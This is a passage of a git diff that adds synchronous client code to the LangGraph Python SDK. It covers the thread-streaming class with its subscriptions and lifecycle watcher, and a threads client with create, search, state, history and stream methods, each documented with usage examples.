explicit set) clears it so + # that subscriptions opening before run.start block until the server + # has accepted the run command. + run_start_gate = threading.Event() + self._controller = SyncStreamController( + self._transport, run_start_gate=run_start_gate + ) + self._run_done = _BlockingResult() + self._ensure_lifecycle_watcher_running() + return self + + def __exit__(self, exc_type: Any, exc: Any, tb: Any) -> None: + self.close() + + @property + def output(self) -> Any: + """Fetch terminal thread state (blocking); waits for lifecycle completion. + + Raises: + RuntimeError: stream not entered, or no run started and no explicit + thread_id was provided. + """ + if self._can_return_existing_state_immediately(): + state = self._fetch_state() + if self._state_is_terminal(state): + return state["values"] + terminal = self._wait_for_run_done() + if terminal.error is not None: + raise terminal.error + state = self._fetch_state() + return state["values"] + + @property + def events(self) -> Iterator[Event]: + """Raw iterator of every `Event` the server emits for this thread.""" + if self._transport is None: + raise RuntimeError("SyncThreadStream not entered — use `with`.") + return self.subscribe(_ALL_CHANNELS) + + def close(self) -> None: + """Tear down the thread stream. Idempotent.""" + if self._closed: + return + self._closed = True + run_done = self._run_done + if run_done is not None and not run_done.done(): + run_done.set_exception(RuntimeError("SyncThreadStream closed")) + # Close the controller first so active subscription iterators receive + # their None sentinel immediately, before the lifecycle watcher join + # (which may block for up to 1s). + if self._controller is not None: + self._controller.close() + handle = self._lifecycle_watcher_handle + if handle is not None: + with contextlib.suppress(Exception): + handle.close() + thread = self._lifecycle_watcher_thread + if thread is not None and thread.is_alive(): + with contextlib.suppress(RuntimeError): + thread.join(timeout=1.0) + self._fail_active_message_streams(RuntimeError("SyncThreadStream closed")) + self._fail_active_tool_calls(RuntimeError("SyncThreadStream closed")) + if self._transport is not None: + self._transport.close() + + # ------------------------------------------------------------------ + # Delegation to SyncStreamController + # ------------------------------------------------------------------ + + def _register_subscription(self, params: SubscribeParams) -> _SyncSubscription: + if self._controller is None: + raise RuntimeError("SyncThreadStream not entered — use `with`.") + return self._controller.register_subscription(params) + + def _unregister_subscription(self, subscription_id: int) -> None: + if self._controller is not None: + self._controller.unregister_subscription(subscription_id) + + def _ensure_fanout_running(self) -> None: + if self._controller is not None: + self._controller.ensure_fanout_running() + + def _reconcile_stream(self, candidate_filter: SubscribeParams) -> None: + if self._controller is None: + raise RuntimeError("SyncThreadStream not entered — use `with`.") + self._controller.reconcile_stream(candidate_filter) + + def _activate_root_messages_inbox(self) -> queue.Queue[Event | None]: + if self._root_messages_inbox is None: + self._root_messages_inbox = queue.Queue() + return self._root_messages_inbox + + def _register_active_message_stream(self, stream: ChatModelStream) -> None: + self._active_message_streams.add(stream) + + def _unregister_active_message_stream(self, stream: ChatModelStream) -> None: + self._active_message_streams.discard(stream) + + def _fail_active_message_streams(self, err: BaseException) -> None: + for stream in list(self._active_message_streams): + stream.fail(err) + self._active_message_streams.clear() + + def _register_active_tool_call(self, handle: SyncToolCallHandle) -> None: + self._active_tool_calls.add(handle) + + def _unregister_active_tool_call(self, handle: SyncToolCallHandle) -> None: + self._active_tool_calls.discard(handle) + + def _fail_active_tool_calls(self, err: BaseException) -> None: + for handle in list(self._active_tool_calls): + handle._fail(err) + self._active_tool_calls.clear() + + def _signal_paused(self) -> None: + """Wake every active projection iterator on interrupt / run end. + + Delegates to the shared controller (subscription queues). The + root messages inbox is intentionally NOT signaled here: the + subgraphs projection that populates it is responsible for + pushing the terminal ``None`` in its own ``finally`` block, so + any message events it redirected to the inbox land before the + sentinel. Signaling root_inbox here would race the redirection. + """ + if self._controller is not None: + self._controller.signal_paused() + + def subscribe( + self, + channels: list[str], + *, + namespaces: list[list[str]] | None = None, + depth: int | None = None, + ) -> Iterator[Event]: + """Open a typed subscription against the shared SSE. + + Returns an iterator that yields raw `Event` dicts matching the given + filter. Multiple concurrent subscribes share one HTTP connection whose + union expands or rotates as subscriptions come and go. + """ + if self._transport is None: + raise RuntimeError("SyncThreadStream not entered — use `with`.") + params: SubscribeParams = {"channels": list(channels)} + if namespaces is not None: + params["namespaces"] = namespaces + if depth is not None: + params["depth"] = depth + return self._subscription_iter(params) + + def interleave_projections(self, channels: list[str]) -> Iterator[tuple[str, Any]]: + """Yield `(channel_name, item)` tuples across multiple projections. + + One shared subscription drives all per-channel decoders; items arrive + in server-emit order (the SDK analog of `GraphRunStream.interleave`). + + Args: + channels: Flat list of `"values"`, `"messages"`, `"tool_calls"`, + `"subgraphs"`, and/or extension names. Built-ins yield their + typed item (snapshot dict / `ChatModelStream` / + `SyncToolCallHandle` / `SyncScopedStreamHandle`); an extension + yields its payload dict, keyed by the bare extension name. + + Note: + Handles and streams are yielded eagerly (before their sub-stream + completes), so items arrive interleaved in real time. To receive a + fully-resolved handle (output already populated), use the dedicated + `thread.tool_calls` / `thread.messages` projections instead. + """ + validate_interleave_channels(channels) + if self._transport is None: + raise RuntimeError("SyncThreadStream not entered — use `with`.") + decoders: dict[str, Decoder] = {} + sub_params: list[dict[str, Any]] = [] + for ch in channels: + if ch == "values": + decoders[ch] = DataDecoder("values") + sub_params.append({"channels": ["values"]}) + elif ch in ("updates", "checkpoints", "tasks"): + # Plain payload channels (local Updates/Checkpoints/Tasks + # analog). Root-scope filter is load-bearing: a co-requested + # unscoped `values` widens the merged subscription to all + # namespaces, so the decoder itself keeps subgraph payloads out. + decoders[ch] = DataDecoder(ch, namespace=[]) + sub_params.append(dict(_exact_namespace_params([ch], []))) + elif ch == "messages": + decoders[ch] = MessagesDecoder( + namespace=[], + stream_factory=lambda *, namespace, node, message_id: ( + ChatModelStream( + namespace=namespace, node=node, message_id=message_id + ) + ), + ) + sub_params.append(dict(_exact_namespace_params(["messages"], []))) + elif ch == "tool_calls": + decoders[ch] = ToolCallsDecoder( + namespace=[], + handle_factory=lambda *, tool_call_id, name, input, namespace: ( + SyncToolCallHandle( + tool_call_id=tool_call_id, + name=name, + input=input, + namespace=namespace, + ) + ), + ) + sub_params.append(dict(_exact_namespace_params(["tools"], []))) + elif ch == "subgraphs": + decoders[ch] = SubgraphsDecoder( + scope=(), + handle_factory=lambda *, path, graph_name, trigger_call_id: ( + SyncScopedStreamHandle( + thread=self, + path=path, + graph_name=graph_name, + trigger_call_id=trigger_call_id, + ) + ), + ) + sub_params.append(dict(_subgraph_subscription_params(()))) + else: + decoders[ch] = ExtensionsDecoder(name=ch) + sub_params.append({"channels": [f"custom:{ch}"]}) + if not sub_params: + return + merged = cast( + SubscribeParams, + compute_union_filter(cast("list[dict[str, Any]]", sub_params)), + ) + subgraphs = decoders.get("subgraphs") + # Track decoder-created handles so teardown can finalize anything still + # in flight; otherwise an awaiting `handle.output` / `handle.messages` + # would block after an early break or run termination. + registered_tool_calls: list[SyncToolCallHandle] = [] + registered_message_streams: list[ChatModelStream] = [] + try: + for event in self._subscription_iter(merged): + if subgraphs is not None: + for item in subgraphs.feed(event): + yield ("subgraphs", item) + wire = infer_channel(event) + public = self._interleave_public_name(wire) + # subgraphs is driven separately above (it consumes all events); never dispatch it here. + if public is not None and public != "subgraphs": + decoder = decoders.get(public) + if decoder is not None: + for item in decoder.feed(event): + if public == "tool_calls": + self._register_active_tool_call(item) + registered_tool_calls.append(item) + elif public == "messages": + self._register_active_message_stream(item) + registered_message_streams.append(item) + yield (public, item) + finally: + self._finalize_interleave_decoders( + decoders.get("tool_calls"), + subgraphs, + registered_tool_calls, + registered_message_streams, + ) + + @staticmethod + def _interleave_public_name(wire: str | None) -> str | None: + """Map a wire channel name to the public channel name used in interleave tuples.""" + if wire is None: + return None + if wire == "tools": + return "tool_calls" + if wire.startswith("custom:"): + return wire[len("custom:") :] + return wire # values, messages (tasks/lifecycle pass through with no decoder match) + + def _finalize_interleave_decoders( + self, + tool_calls: Decoder | None, + subgraphs: Decoder | None, + registered_tool_calls: list[SyncToolCallHandle], + registered_message_streams: list[ChatModelStream], + ) -> None: + """Finalize in-flight handles when `interleave_projections` tears down. + + Mirrors the terminal handling of the dedicated `_SyncToolCallsProjection` + / `_SyncSubgraphsProjection`: in-flight tool calls are failed (so a + blocking `handle.output` can't hang) and discovered subgraph children + are force-completed with the run's terminal status. + """ + run_done = self._run_done + resolved: _RunTerminal | None = None + if run_done is not None and run_done.done(): + try: + resolved = run_done.result(timeout=0) + except Exception: + resolved = None + if isinstance(tool_calls, ToolCallsDecoder): + err: BaseException = ( + resolved.error + if resolved is not None and resolved.error is not None + else RuntimeError("Tool call stream closed before terminal tool event.") + ) + for handle in list(tool_calls._active.values()): + handle._fail(err) + for handle in registered_tool_calls: + self._unregister_active_tool_call(handle) + for stream in registered_message_streams: + self._unregister_active_message_stream(stream) + if isinstance(subgraphs, SubgraphsDecoder): + terminal_status: SubgraphStatus = ( + "failed" + if resolved is not None and resolved.status == "errored" + else "completed" + ) + for child in subgraphs._active.values(): + if child.status == "started": + child._finish(terminal_status) + + def _subscription_iter(self, params: SubscribeParams) -> Iterator[Event]: + sub = self._register_subscription(params) + try: + if self._closed: + return + self._reconcile_stream(params) + self._ensure_fanout_running() + while True: + item = sub.queue.get() + if item is None: + return + yield item + finally: + self._unregister_subscription(sub.id) + + def _send_command(self, method: str, params: dict[str, Any]) -> dict[str, Any]: + """Send a protocol command and return the `result` payload.""" + if self._transport is None: + raise RuntimeError("SyncThreadStream not entered — use `with`.") + with self._command_id_lock: + command_id = self._next_command_id + self._next_command_id += 1 + response = self._transport.send_command( + {"id": command_id, "method": method, "params": params} + ) + if response is None: + return {} + if response.get("type") == "error": + code = response.get("error", "unknown") + message = response.get("message", "") + raise RuntimeError(f"Protocol error [{code}]: {message}") + meta = response.get("meta") + if isinstance(meta, dict): + applied_through_seq = meta.get("applied_through_seq") + if self._controller is not None: + self._controller.observe_applied_through_seq(applied_through_seq) + return response.get("result", {}) + + def _ensure_lifecycle_watcher_running(self) -> None: + if self._lifecycle_watcher_thread is not None: + return + self._lifecycle_watcher_thread = threading.Thread( + target=self._run_lifecycle_watcher, + name="langgraph-sdk-sync-lifecycle", + daemon=True, + ) + self._lifecycle_watcher_thread.start() + + def _observe_lifecycle_event(self, event: Event) -> None: + seq = event.get("seq") + if isinstance(seq, int) and ( + self._lifecycle_cursor is None or seq > self._lifecycle_cursor + ): + self._lifecycle_cursor = seq + + def _lifecycle_stream_params(self) -> dict[str, Any]: + params: dict[str, Any] = {"channels": ["lifecycle", "input"]} + if self._lifecycle_cursor is not None: + params["since"] = self._lifecycle_cursor + return params + + def _run_lifecycle_watcher(self) -> None: + """Always-on thread consuming lifecycle + input channels.""" + if self._transport is None: + return + reconnect_attempts = 0 + while not self._closed: + try: + handle = self._transport.open_event_stream( + self._lifecycle_stream_params() + ) + self._lifecycle_watcher_handle = handle + for event in handle.events: + if self._closed: + return + self._observe_lifecycle_event(event) + self._apply_lifecycle_event(event) + err = handle.error() + if err is None: + return + reconnect_attempts += 1 + if reconnect_attempts > self._lifecycle_max_reconnect_attempts: + raise err + except Exception as exc: + reconnect_attempts += 1 + if reconnect_attempts <= self._lifecycle_max_reconnect_attempts: + continue + run_done = self._run_done + if run_done is not None and not run_done.done(): + run_done.set_result( + _RunTerminal( + status="errored", + error=RuntimeError(f"Lifecycle transport failed: {exc}"), + ) + ) + return + + def _fetch_state(self) -> dict[str, Any]: + """Fetch the current thread state from the REST endpoint.""" + return self._http.get( + f"/threads/{self.thread_id}/state", + headers=self._headers or None, + ) + + def _state_is_terminal(self, state: dict[str, Any]) -> bool: + """Return `True` if the thread state has no pending tasks or next nodes.""" + return not state.get("next") and not state.get("tasks") + + def _can_return_existing_state_immediately(self) -> bool: + """Return `True` if we can try the REST state before waiting on the lifecycle.""" + return self._explicit_thread_id and not self._run_seen + + def _wait_for_run_done(self) -> _RunTerminal: + """Block until lifecycle completion. + + Raises: + RuntimeError: stream not entered, or no run started and no explicit + thread_id was provided. + """ + if self._run_done is None: + raise RuntimeError("SyncThreadStream not entered — use `with`.") + if not self._run_seen and not self._explicit_thread_id: + raise RuntimeError( + "thread.output: no run has been started and no explicit thread_id " + "was provided. Call thread.run.start() first." + ) + return self._run_done.result() + + def _apply_lifecycle_event(self, event: Event) -> None: + """Update `interrupted` / `interrupts` / `_run_done` from a lifecycle or input event.""" + method = event.get("method") + if method == "input.requested": + params = event.get("params") or {} + data = params.get("data") if isinstance(params, dict) else None + interrupt_id = data.get("interrupt_id") if isinstance(data, dict) else None + if isinstance(interrupt_id, str): + payload: InterruptPayload = { + "interrupt_id": interrupt_id, + "value": data.get("value") if isinstance(data, dict) else None, + "namespace": params.get("namespace") or [] + if isinstance(params, dict) + else [], + } + was_interrupted = self.interrupted + self.interrupts.append(payload) + self.interrupted = True + # On the rising edge of `interrupted`, push the terminal + # sentinel into every active projection subscription so their + # iterators exit cleanly. The run is paused — not done — so + # the shared SSE and fanout keep running; a subsequent + # `for snap in thread.values:` (or any other projection) + # registers a fresh subscription and resumes iteration once + # the consumer calls `run.respond(...)`. + if not was_interrupted: + self._signal_paused() + elif method == "lifecycle": + params = event.get("params") or {} + data = params.get("data") if isinstance(params, dict) else None + phase = data.get("event") if isinstance(data, dict) else None + if phase in ("started", "running"): + self._run_seen = True + elif phase in ("completed", "failed"): + self.interrupted = False + self.interrupts = [] + run_done = self._run_done + if run_done is not None and not run_done.done(): + if phase == "failed": + error_msg = ( + data.get("error") if isinstance(data, dict) else None + ) + error = RuntimeError( + f"Run errored: {error_msg}" if error_msg else "Run errored" + ) + self._fail_active_message_streams(error) + self._fail_active_tool_calls(error) + run_done.set_result(_RunTerminal(status="errored", error=error)) + else: + run_done.set_result(_RunTerminal(status="completed")) diff --git a/libs/sdk-py/langgraph_sdk/_sync/threads.py b/libs/sdk-py/langgraph_sdk/_sync/threads.py new file mode 100644 index 0000000..ad1139a --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_sync/threads.py @@ -0,0 +1,808 @@ +"""Synchronous client for managing threads in LangGraph.""" + +from __future__ import annotations + +import uuid +from collections.abc import Iterator, Mapping, Sequence +from typing import Any, Literal, overload + +from langgraph_sdk._shared.utilities import _quote_path_param +from langgraph_sdk._sync.http import SyncHttpClient +from langgraph_sdk._sync.stream import SyncThreadStream +from langgraph_sdk.schema import ( + Checkpoint, + Json, + OnConflictBehavior, + PruneStrategy, + QueryParamTypes, + SortOrder, + StreamPart, + Thread, + ThreadSelectField, + ThreadSortBy, + ThreadState, + ThreadStatus, + ThreadStreamMode, + ThreadUpdateStateResponse, +) + + +class SyncThreadsClient: + """Synchronous client for managing threads in LangGraph. + + This class provides methods to create, retrieve, and manage threads, + which represent conversations or stateful interactions. + + ???+ example "Example" + + ```python + client = get_sync_client(url="http://localhost:2024") + thread = client.threads.create(metadata={"user_id": "123"}) + ``` + """ + + def __init__(self, http: SyncHttpClient) -> None: + self.http = http + + def get( + self, + thread_id: str, + *, + include: Sequence[str] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Thread: + """Get a thread by ID. + + Args: + thread_id: The ID of the thread to get. + include: Additional fields to include in the response. + Supported values: `"ttl"`. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `Thread` object. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + thread = client.threads.get( + thread_id="my_thread_id" + ) + print(thread) + ``` + ```shell + ----------------------------------------------------- + + { + 'thread_id': 'my_thread_id', + 'created_at': '2024-07-18T18:35:15.540834+00:00', + 'updated_at': '2024-07-18T18:35:15.540834+00:00', + 'metadata': {'graph_id': 'agent'} + } + ``` + + """ + query_params: dict[str, Any] = {} + if include: + query_params["include"] = ",".join(include) + if params: + query_params.update(params) + return self.http.get( + f"/threads/{_quote_path_param(thread_id)}", + headers=headers, + params=query_params or None, + ) + + def create( + self, + *, + metadata: Json = None, + thread_id: str | None = None, + if_exists: OnConflictBehavior | None = None, + supersteps: Sequence[dict[str, Sequence[dict[str, Any]]]] | None = None, + graph_id: str | None = None, + ttl: int | Mapping[str, Any] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Thread: + """Create a new thread. + + Args: + metadata: Metadata to add to thread. + thread_id: ID of thread. + If `None`, ID will be a randomly generated UUID. + if_exists: How to handle duplicate creation. Defaults to 'raise' under the hood. + Must be either 'raise' (raise error if duplicate), or 'do_nothing' (return existing thread). + supersteps: Apply a list of supersteps when creating a thread, each containing a sequence of updates. + Each update has `values` or `command` and `as_node`. Used for copying a thread between deployments. + graph_id: Optional graph ID to associate with the thread. + ttl: Optional time-to-live in minutes for the thread. You can pass an + integer (minutes) or a mapping with keys `ttl` and optional + `strategy` (defaults to "delete"). + headers: Optional custom headers to include with the request. + + Returns: + The created `Thread`. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + thread = client.threads.create( + metadata={"number":1}, + thread_id="my-thread-id", + if_exists="raise" + ) + ``` + ) + """ + payload: dict[str, Any] = {} + if thread_id: + payload["thread_id"] = thread_id + if metadata or graph_id: + payload["metadata"] = { + **(metadata or {}), + **({"graph_id": graph_id} if graph_id else {}), + } + if if_exists: + payload["if_exists"] = if_exists + if supersteps: + payload["supersteps"] = [ + { + "updates": [ + { + "values": u["values"], + "command": u.get("command"), + "as_node": u["as_node"], + } + for u in s["updates"] + ] + } + for s in supersteps + ] + if ttl is not None: + if isinstance(ttl, (int, float)): + payload["ttl"] = {"ttl": ttl, "strategy": "delete"} + else: + payload["ttl"] = ttl + + return self.http.post("/threads", json=payload, headers=headers, params=params) + + @overload + def update( + self, + thread_id: str, + *, + metadata: Mapping[str, Any], + ttl: int | Mapping[str, Any] | None = None, + return_minimal: Literal[False] = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Thread: ... + + @overload + def update( + self, + thread_id: str, + *, + metadata: Mapping[str, Any], + ttl: int | Mapping[str, Any] | None = None, + return_minimal: Literal[True], + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: ... + + @overload + def update( + self, + thread_id: str, + *, + metadata: Mapping[str, Any], + ttl: int | Mapping[str, Any] | None = None, + return_minimal: bool, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Thread | None: ... + + def update( + self, + thread_id: str, + *, + metadata: Mapping[str, Any], + ttl: int | Mapping[str, Any] | None = None, + return_minimal: bool = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Thread | None: + """Update a thread. + + Args: + thread_id: ID of thread to update. + metadata: Metadata to merge with existing thread metadata. + ttl: Optional time-to-live in minutes for the thread. You can pass an + integer (minutes) or a mapping with keys `ttl` and optional + `strategy` (defaults to "delete"). + return_minimal: If `True`, request a 204 response with no body. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The updated `Thread`, or `None` when `return_minimal=True`. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + thread = client.threads.update( + thread_id="my-thread-id", + metadata={"number":1}, + ttl=43_200, + ) + ``` + """ + payload: dict[str, Any] = {"metadata": metadata} + if ttl is not None: + if isinstance(ttl, (int, float)): + payload["ttl"] = {"ttl": ttl, "strategy": "delete"} + else: + payload["ttl"] = ttl + request_headers = dict(headers or {}) + if return_minimal: + request_headers["Prefer"] = "return=minimal" + return self.http.patch( + f"/threads/{_quote_path_param(thread_id)}", + json=payload, + headers=request_headers or None, + params=params, + ) + + def delete( + self, + thread_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Delete a thread. + + Args: + thread_id: The ID of the thread to delete. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client.threads.delete( + thread_id="my_thread_id" + ) + ``` + + """ + self.http.delete( + f"/threads/{_quote_path_param(thread_id)}", headers=headers, params=params + ) + + def search( + self, + *, + metadata: Json = None, + values: Json = None, + ids: Sequence[str] | None = None, + status: ThreadStatus | None = None, + limit: int = 10, + offset: int = 0, + sort_by: ThreadSortBy | None = None, + sort_order: SortOrder | None = None, + select: list[ThreadSelectField] | None = None, + extract: dict[str, str] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> list[Thread]: + """Search for threads. + + Args: + metadata: Thread metadata to filter on. + values: State values to filter on. + ids: List of thread IDs to filter by. + status: Thread status to filter on. + Must be one of 'idle', 'busy', 'interrupted' or 'error'. + limit: Limit on number of threads to return. + offset: Offset in threads table to start search from. + sort_by: Sort by field. + sort_order: Sort order. + select: List of fields to include in the response. + extract: Dictionary mapping aliases to JSONB paths to extract + from thread data. Paths use dot notation for nested keys and + bracket notation for array indices (e.g., + `{"last_msg": "values.messages[-1]"}`). Extracted values are + returned in an `extracted` field on each thread. Maximum 10 + paths per request. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + List of the threads matching the search parameters. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + threads = client.threads.search( + metadata={"number":1}, + status="interrupted", + limit=15, + offset=5 + ) + ``` + """ + payload: dict[str, Any] = { + "limit": limit, + "offset": offset, + } + if metadata: + payload["metadata"] = metadata + if values: + payload["values"] = values + if ids: + payload["ids"] = ids + if status: + payload["status"] = status + if sort_by: + payload["sort_by"] = sort_by + if sort_order: + payload["sort_order"] = sort_order + if select: + payload["select"] = select + if extract: + payload["extract"] = extract + return self.http.post( + "/threads/search", json=payload, headers=headers, params=params + ) + + def count( + self, + *, + metadata: Json = None, + values: Json = None, + status: ThreadStatus | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> int: + """Count threads matching filters. + + Args: + metadata: Thread metadata to filter on. + values: State values to filter on. + status: Thread status to filter on. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + int: Number of threads matching the criteria. + """ + payload: dict[str, Any] = {} + if metadata: + payload["metadata"] = metadata + if values: + payload["values"] = values + if status: + payload["status"] = status + return self.http.post( + "/threads/count", json=payload, headers=headers, params=params + ) + + def copy( + self, + thread_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Copy a thread. + + Args: + thread_id: The ID of the thread to copy. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + client.threads.copy( + thread_id="my_thread_id" + ) + ``` + + """ + return self.http.post( + f"/threads/{_quote_path_param(thread_id)}/copy", + json=None, + headers=headers, + params=params, + ) + + def prune( + self, + thread_ids: Sequence[str], + *, + strategy: PruneStrategy = "delete", + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> dict[str, Any]: + """Prune threads by ID. + + Args: + thread_ids: List of thread IDs to prune. + strategy: The prune strategy. `"delete"` removes threads entirely. + `"keep_latest"` prunes old checkpoints but keeps threads and their + latest state. Defaults to `"delete"`. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + A dict containing `pruned_count` (number of threads pruned). + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + result = client.threads.prune( + thread_ids=["thread_1", "thread_2"], + ) + print(result) # {'pruned_count': 2} + ``` + + """ + payload: dict[str, Any] = { + "thread_ids": thread_ids, + } + if strategy != "delete": + payload["strategy"] = strategy + return self.http.post( + "/threads/prune", json=payload, headers=headers, params=params + ) + + def get_state( + self, + thread_id: str, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, # deprecated + *, + subgraphs: bool = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> ThreadState: + """Get the state of a thread. + + Args: + thread_id: The ID of the thread to get the state of. + checkpoint: The checkpoint to get the state of. + subgraphs: Include subgraphs states. + headers: Optional custom headers to include with the request. + + Returns: + The thread of the state. + + ???+ example "Example Usage" + + ```python + client = get_sync_client(url="http://localhost:2024") + thread_state = client.threads.get_state( + thread_id="my_thread_id", + checkpoint_id="my_checkpoint_id" + ) + print(thread_state) + ``` + + ```shell + ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- + + { + 'values': { + 'messages': [ + { + 'content': 'how are you?', + 'additional_kwargs': {}, + 'response_metadata': {}, + 'type': 'human', + 'name': None, + 'id': 'fe0a5778-cfe9-42ee-b807-0adaa1873c10', + 'example': False + }, + { + 'content': "I'm doing well, thanks for asking! I'm an AI assistant created by Anthropic to be helpful, honest, and harmless.", + 'additional_kwargs': {}, + 'response_metadata': {}, + 'type': 'ai', + 'name': None, + 'id': 'run-159b782c-b679-4830-83c6-cef87798fe8b', + 'example': False, + 'tool_calls': [], + 'invalid_tool_calls': [], + 'usage_metadata': None + } + ] + }, + 'next': [], + 'checkpoint': + { + 'thread_id': 'e2496803-ecd5-4e0c-a779-3226296181c2', + 'checkpoint_ns': '', + 'checkpoint_id': '1ef4a9b8-e6fb-67b1-8001-abd5184439d1' + } + 'metadata': + { + 'step': 1, + 'run_id': '1ef4a9b8-d7da-679a-a45a-872054341df2', + 'source': 'loop', + 'writes': + { + 'agent': + { + 'messages': [ + { + 'id': 'run-159b782c-b679-4830-83c6-cef87798fe8b', + 'name': None, + 'type': 'ai', + 'content': "I'm doing well, thanks for asking! I'm an AI assistant created by Anthropic to be helpful, honest, and harmless.", + 'example': False, + 'tool_calls': [], + 'usage_metadata': None, + 'additional_kwargs': {}, + 'response_metadata': {}, + 'invalid_tool_calls': [] + } + ] + } + }, + 'user_id': None, + 'graph_id': 'agent', + 'thread_id': 'e2496803-ecd5-4e0c-a779-3226296181c2', + 'created_by': 'system', + 'assistant_id': 'fe096781-5601-53d2-b2f6-0d3403f7e9ca'}, + 'created_at': '2024-07-25T15:35:44.184703+00:00', + 'parent_config': + { + 'thread_id': 'e2496803-ecd5-4e0c-a779-3226296181c2', + 'checkpoint_ns': '', + 'checkpoint_id': '1ef4a9b8-d80d-6fa7-8000-9300467fad0f' + } + } + ``` + + """ + if checkpoint: + return self.http.post( + f"/threads/{_quote_path_param(thread_id)}/state/checkpoint", + json={"checkpoint": checkpoint, "subgraphs": subgraphs}, + headers=headers, + params=params, + ) + elif checkpoint_id: + get_params = {"subgraphs": subgraphs} + if params: + get_params = {**get_params, **dict(params)} + return self.http.get( + f"/threads/{_quote_path_param(thread_id)}/state/{_quote_path_param(checkpoint_id)}", + params=get_params, + headers=headers, + ) + else: + get_params = {"subgraphs": subgraphs} + if params: + get_params = {**get_params, **dict(params)} + return self.http.get( + f"/threads/{_quote_path_param(thread_id)}/state", + params=get_params, + headers=headers, + ) + + def update_state( + self, + thread_id: str, + values: dict[str, Any] | Sequence[dict] | None, + *, + as_node: str | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, # deprecated + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> ThreadUpdateStateResponse: + """Update the state of a thread. + + Args: + thread_id: The ID of the thread to update. + values: The values to update the state with. + as_node: Update the state as if this node had just executed. + checkpoint: The checkpoint to update the state of. + headers: Optional custom headers to include with the request. + + Returns: + Response after updating a thread's state. + + ???+ example "Example Usage" + + ```python + + response = await client.threads.update_state( + thread_id="my_thread_id", + values={"messages":[{"role": "user", "content": "hello!"}]}, + as_node="my_node", + ) + print(response) + + ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- + + { + 'checkpoint': { + 'thread_id': 'e2496803-ecd5-4e0c-a779-3226296181c2', + 'checkpoint_ns': '', + 'checkpoint_id': '1ef4a9b8-e6fb-67b1-8001-abd5184439d1', + 'checkpoint_map': {} + } + } + ``` + + """ + payload: dict[str, Any] = { + "values": values, + } + if checkpoint_id: + payload["checkpoint_id"] = checkpoint_id + if checkpoint: + payload["checkpoint"] = checkpoint + if as_node: + payload["as_node"] = as_node + return self.http.post( + f"/threads/{_quote_path_param(thread_id)}/state", + json=payload, + headers=headers, + params=params, + ) + + def get_history( + self, + thread_id: str, + *, + limit: int = 10, + before: str | Checkpoint | None = None, + metadata: Mapping[str, Any] | None = None, + checkpoint: Checkpoint | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> list[ThreadState]: + """Get the state history of a thread. + + Args: + thread_id: The ID of the thread to get the state history for. + checkpoint: Return states for this subgraph. If empty defaults to root. + limit: The maximum number of states to return. + before: Return states before this checkpoint. + metadata: Filter states by metadata key-value pairs. + headers: Optional custom headers to include with the request. + + Returns: + The state history of the `Thread`. + + ???+ example "Example Usage" + + ```python + + thread_state = client.threads.get_history( + thread_id="my_thread_id", + limit=5, + before="my_timestamp", + metadata={"name":"my_name"} + ) + ``` + + """ + payload: dict[str, Any] = { + "limit": limit, + } + if before: + payload["before"] = before + if metadata: + payload["metadata"] = metadata + if checkpoint: + payload["checkpoint"] = checkpoint + return self.http.post( + f"/threads/{_quote_path_param(thread_id)}/history", + json=payload, + headers=headers, + params=params, + ) + + def stream( + self, + thread_id: str | None = None, + *, + assistant_id: str, + headers: Mapping[str, str] | None = None, + run_start_timeout: float | None = None, + transport: Literal["sse", "websocket"] = "sse", + ) -> SyncThreadStream: + """Open a v3 thread-centric streaming session. + + Args: + thread_id: optional explicit thread identifier. Defaults to a + fresh UUIDv4. + assistant_id: assistant the run will use. Required. + headers: optional headers forwarded on every command and SSE + request for this stream session. + transport: event transport to use, `"sse"` (default) or + `"websocket"`. + + Returns: + A `SyncThreadStream` to use as a context manager. + """ + if transport not in ("sse", "websocket"): + raise ValueError("transport must be 'sse' or 'websocket'.") + return SyncThreadStream( + http=self.http, + thread_id=thread_id if thread_id is not None else str(uuid.uuid4()), + assistant_id=assistant_id, + headers=headers, + run_start_timeout=run_start_timeout, + explicit_thread_id=thread_id is not None, + transport_kind=transport, + ) + + def join_stream( + self, + thread_id: str, + *, + stream_mode: ThreadStreamMode | Sequence[ThreadStreamMode] = "run_modes", + last_event_id: str | None = None, + headers: Mapping[str, str] | None = None, + 